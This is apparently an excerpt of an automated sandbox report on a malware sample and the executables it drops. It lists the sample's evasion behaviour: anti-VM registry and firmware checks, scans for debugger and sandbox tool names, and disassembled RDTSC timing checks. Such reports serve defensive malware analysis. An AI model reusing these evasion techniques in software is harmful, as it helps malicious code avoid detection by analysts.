Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 9f58fa9406.exe PID: 7788, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37553
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-11523
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9687

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: 400f5197b1.exe, 00000014.00000002.2977290741.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXEV
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-^Q
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL
Source: 400f5197b1.exe, 00000014.00000002.2977290741.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F1F5 second address: F0F1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F1FB second address: F0F1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BEDB second address: 107BEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FF0E0BA4D96h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BEEA second address: 107BEFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BEFC second address: 107BF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C0BB second address: 107C0D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F166h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C0D7 second address: 107C108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007FF0E0BA4D9Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FF0E0BA4DA8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C108 second address: 107C137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Fh 0x00000007 pushad 0x00000008 jmp 00007FF0E079F165h 0x0000000d ja 00007FF0E079F156h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D9BC second address: 107D9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DA5E second address: 107DAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FF0E079F167h 0x0000000a popad 0x0000000b xor dword ptr [esp], 6EB1F63Eh 0x00000012 pushad 0x00000013 xor esi, dword ptr [ebp+122D37FFh] 0x00000019 mov bx, A501h 0x0000001d popad 0x0000001e push 00000003h 0x00000020 cld 0x00000021 movsx ecx, ax 0x00000024 push 00000000h 0x00000026 jmp 00007FF0E079F15Fh 0x0000002b push 00000003h 0x0000002d mov edi, eax 0x0000002f push F8CEFAB4h 0x00000034 jmp 00007FF0E079F160h 0x00000039 xor dword ptr [esp], 38CEFAB4h 0x00000040 jns 00007FF0E079F159h 0x00000046 movzx ecx, bx 0x00000049 lea ebx, dword ptr [ebp+124428E3h] 0x0000004f mov di, bx 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FF0E079F169h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DAF4 second address: 107DB0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DB9E second address: 107DBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DBA2 second address: 107DBF1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF0E0BA4D96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF0E0BA4DA2h 0x0000000f popad 0x00000010 push eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 jmp 00007FF0E0BA4D9Dh 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pop ebx 0x0000001c nop 0x0000001d mov ecx, dword ptr [ebp+122D1E00h] 0x00000023 mov edx, ebx 0x00000025 push 00000000h 0x00000027 mov esi, dword ptr [ebp+122D2A7Dh] 0x0000002d call 00007FF0E0BA4D99h 0x00000032 pushad 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DBF1 second address: 107DBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DBFB second address: 107DC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnl 00007FF0E0BA4D96h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DC0E second address: 107DC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DC1C second address: 107DC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b jbe 00007FF0E0BA4D98h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DC39 second address: 107DC97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF0E079F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c mov di, 8ABFh 0x00000010 push 00000003h 0x00000012 jno 00007FF0E079F15Ch 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FF0E079F158h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 mov di, F2F4h 0x00000038 push 00000003h 0x0000003a push esi 0x0000003b mov di, 4758h 0x0000003f pop edi 0x00000040 mov edx, dword ptr [ebp+122D29A1h] 0x00000046 push E751971Bh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DC97 second address: 107DCBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 2751971Bh 0x0000000e sub di, 50E9h 0x00000013 lea ebx, dword ptr [ebp+124428ECh] 0x00000019 xchg eax, ebx 0x0000001a jnc 00007FF0E0BA4DB4h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DCBB second address: 107DCDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F166h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DCDA second address: 107DCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DCE0 second address: 107DCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DCE9 second address: 107DCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD57 second address: 107DD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD5B second address: 107DD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF0E0BA4D96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD6C second address: 107DD70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD70 second address: 107DD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 sbb di, 42F8h 0x0000000d push 00000000h 0x0000000f stc 0x00000010 call 00007FF0E0BA4D99h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF0E0BA4D9Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD97 second address: 107DE40 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0E079F158h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007FF0E079F15Eh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a pushad 0x0000001b jnl 00007FF0E079F156h 0x00000021 jp 00007FF0E079F156h 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b jp 00007FF0E079F16Bh 0x00000031 jg 00007FF0E079F165h 0x00000037 jmp 00007FF0E079F15Fh 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 je 00007FF0E079F15Eh 0x00000046 jg 00007FF0E079F158h 0x0000004c push esi 0x0000004d pop esi 0x0000004e pop eax 0x0000004f mov edx, esi 0x00000051 push 00000003h 0x00000053 jmp 00007FF0E079F168h 0x00000058 push 00000000h 0x0000005a mov ecx, 39232800h 0x0000005f pushad 0x00000060 mov dword ptr [ebp+122D1D7Fh], edi 0x00000066 and edi, dword ptr [ebp+122D2609h] 0x0000006c popad 0x0000006d push 00000003h 0x0000006f or si, CF70h 0x00000074 call 00007FF0E079F159h 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DE40 second address: 107DE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E379 second address: 109E37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E37F second address: 109E392 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF0E0BA4D96h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E392 second address: 109E39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C1EB second address: 109C1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C1EF second address: 109C207 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF0E079F156h 0x00000008 jl 00007FF0E079F156h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007FF0E079F162h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109C207 second address: 109C20D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
